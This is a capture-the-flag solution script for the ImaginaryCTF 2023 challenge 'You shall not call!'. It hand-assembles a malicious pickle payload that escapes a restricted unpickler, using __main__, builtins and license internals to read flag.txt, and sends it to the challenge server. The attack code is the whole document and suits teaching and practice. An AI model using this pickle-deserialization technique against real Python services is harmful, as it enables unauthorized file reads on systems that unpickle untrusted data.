ImaginaryCTF 2023 - You shall not call! (misc)

solve.py

from pwn import *
import pickletools


def conn() -> tube:
    if args.LOCAL:
        return process(["python", "server.py"])

    return remote("you-shall-not-call.chal.imaginaryctf.org", 1337)


def main() -> None:
    data = pickle.PROTO + bytes([5])

    # load __main__
    data += pickle.GLOBAL + b"__main__\n__main__\n"

    # memo[0] = io
    data += pickle.GLOBAL + b"__main__\nio\n"
    data += pickle.BINPUT + bytes([0])
    data += pickle.POP

    # __main__.__main__ = pickle
    data += pickle.MARK
    data += pickle.UNICODE + b"__main__\n"
    data += pickle.GLOBAL + b"__main__\npickle\n"
    data += pickle.DICT
    data += pickle.BUILD

    # memo[1] = pickle._dumps
    data += pickle.GLOBAL + b"__main__\n_dumps\n"
    data += pickle.BINPUT + bytes([1])
    data += pickle.POP

    # __main__.__main__ = codecs
    data += pickle.MARK
    data += pickle.UNICODE + b"__main__\n"
    data += pickle.GLOBAL + b"__main__\ncodecs\n"  # pickle.codecs
    data += pickle.DICT
    data += pickle.BUILD

    # __main__.__main__ = builtins
    data += pickle.MARK
    data += pickle.UNICODE + b"__main__\n"
    data += pickle.GLOBAL + b"__main__\nbuiltins\n"  # codecs.builtins
    data += pickle.DICT
    data += pickle.BUILD

    data += pickle.POP

    # io.BytesIO = license
    data += pickle.BINGET + bytes([0])
    data += pickle.MARK
    data += pickle.UNICODE + b"BytesIO\n"
    # license._Printer__filenames = ("flag.txt",)
    data += pickle.GLOBAL + b"__main__\nlicense\n"  # builtins.license
    data += pickle.MARK
    data += pickle.UNICODE + b"_Printer__filenames\n"
    data += pickle.UNICODE + b"flag.txt\n"
    data += pickle.TUPLE1
    data += pickle.DICT
    data += pickle.BUILD
    data += pickle.DICT
    data += pickle.BUILD

    # license.__setstate__ = pickle._dumps
    data += pickle.MARK
    data += pickle.UNICODE + b"__setstate__\n"
    data += pickle.BINGET + bytes([1])
    data += pickle.DICT
    data += pickle.BUILD

    # license.__setstate__("x") -> pickle._dumps("x") -> io.BytesIO() -> license()
    data += pickle.UNICODE + b"x\n"
    data += pickle.BUILD

    data += pickle.STOP

    pickletools.dis(data)

    with conn() as io:
        io.sendlineafter(b"$ ", data.hex().encode())
        io.interactive()


if __name__ == "__main__":
    main()

# ictf{C4lL3d_1t...}